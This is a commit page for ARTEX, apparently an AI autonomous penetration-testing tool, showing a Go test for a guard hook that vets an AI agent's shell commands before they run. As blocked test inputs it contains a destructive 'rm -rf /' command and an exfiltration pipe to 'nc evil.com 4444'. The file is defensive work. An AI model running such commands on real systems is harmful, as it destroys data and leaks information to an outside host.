chore: ARTEX 初始化

ARTEX — AI 自主渗透测试系统(Go 后端 + Next.js 前端,单二进制内嵌)。

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
This commit is contained in:
Autumn-27andClaude Opus 4.8 committed 2026-07-26 04:27:45 -04:00
commit 0ef8561411
287 files changed
+70178

No files matched your search

+38
View File
@@ -0,0 +1,38 @@
package guard
import (
"context"
"encoding/json"
"testing"
"github.com/Autumn-27/norma/hook"
)
func TestPreToolUseGating(t *testing.T) {
g := New()
block := func(cmd string) (bool, string) {
input, _ := json.Marshal(map[string]string{"command": cmd})
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
return b, msg
}
if b, _ := block(`curl https://acme.com/`); b {
t.Error("ordinary network command should be allowed")
}
if b, _ := block(`rm -rf /`); !b {
t.Error("destructive command should be blocked")
}
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
t.Error("exfil pipe should be blocked")
}
if b, _ := block(`ls -la`); b {
t.Error("non-network command should be allowed")
}
// audit recorded both allows and blocks
if len(g.Audit()) == 0 {
t.Error("audit should record gated calls")
}
}
var _ = hook.PreToolUse